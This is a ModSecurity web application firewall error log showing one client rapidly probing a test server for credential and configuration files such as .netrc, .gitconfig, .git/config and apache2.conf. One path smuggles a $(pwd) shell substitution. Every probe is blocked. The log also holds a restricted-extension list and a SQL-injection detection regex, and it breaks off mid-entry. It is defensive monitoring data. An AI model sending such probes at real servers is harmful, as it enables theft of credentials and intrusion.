[Sun Mar 01 20:25:37.603789 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRQAAAAI&quot;]
[Sun Mar 01 20:25:37.649396 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /root/.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRwAAAAI&quot;]
[Sun Mar 01 20:25:37.649650 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRwAAAAI&quot;]
[Sun Mar 01 20:25:37.649817 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRwAAAAI&quot;]
[Sun Mar 01 20:25:37.672318 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /root/.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSAAAAAI&quot;]
[Sun Mar 01 20:25:37.672595 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSAAAAAI&quot;]
[Sun Mar 01 20:25:37.672767 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSAAAAAI&quot;]
[Sun Mar 01 20:25:37.718539 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /home/*/.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSgAAAAI&quot;]
[Sun Mar 01 20:25:37.718795 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSgAAAAI&quot;]
[Sun Mar 01 20:25:37.718966 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSgAAAAI&quot;]
[Sun Mar 01 20:25:37.741289 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /home/*/.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSwAAAAI&quot;]
[Sun Mar 01 20:25:37.741559 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSwAAAAI&quot;]
[Sun Mar 01 20:25:37.741712 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTSwAAAAI&quot;]
[Sun Mar 01 20:25:37.787479 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /~/.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTQAAAAI&quot;]
[Sun Mar 01 20:25:37.787748 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTQAAAAI&quot;]
[Sun Mar 01 20:25:37.787920 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.gitconfig&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTQAAAAI&quot;]
[Sun Mar 01 20:25:37.810284 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /~/.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTgAAAAI&quot;]
[Sun Mar 01 20:25:37.810584 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTgAAAAI&quot;]
[Sun Mar 01 20:25:37.810773 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.netrc&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTgAAAAI&quot;]
[Sun Mar 01 20:25:37.833035 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTwAAAAI&quot;]
[Sun Mar 01 20:25:37.833293 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTwAAAAI&quot;]
[Sun Mar 01 20:25:37.833470 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTTwAAAAI&quot;]
[Sun Mar 01 20:25:37.855656 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /$(pwd)/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTUAAAAAI&quot;]
[Sun Mar 01 20:25:37.855949 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTUAAAAAI&quot;]
[Sun Mar 01 20:25:37.856121 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTUAAAAAI&quot;]
[Sun Mar 01 20:25:37.924030 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTUwAAAAI&quot;]
[Sun Mar 01 20:25:37.924555 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTUwAAAAI&quot;]
[Sun Mar 01 20:25:37.924729 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTUwAAAAI&quot;]
[Sun Mar 01 20:25:37.993062 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/apache2.conf&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTVgAAAAI&quot;]
[Sun Mar 01 20:25:37.993620 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/apache2.conf&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTVgAAAAI&quot;]
[Sun Mar 01 20:25:37.993822 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/apache2.conf&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTVgAAAAI&quot;]
[Sun Mar 01 20:25:38.063139 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i:(?:^[\\\\W\\\\d]+\\\\s*?(?:alter\\\\s*(?:a(?:(?:pplication\\\\s*rol|ggregat)e|s(?:ymmetric\\\\s*ke|sembl)y|u(?:thorization|dit)|vailability\\\\s*group)|c(?:r(?:yptographic\\\\s*provider|edential)|o(?:l(?:latio|um)|nversio)n|ertificate|luster)|s(?:e(?:rv(?:ice|er)| ...&quot; at ARGS_NAMES:*update*. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf&quot;] [line &quot;471&quot;] [id &quot;942360&quot;] [msg &quot;Detects concatenated basic SQL injection and SQLLFI attempts&quot;] [data &quot;Matched Data: *update found within ARGS_NAMES:*update*: *update*&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-sqli&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/SQL_INJECTION&quot;] [tag 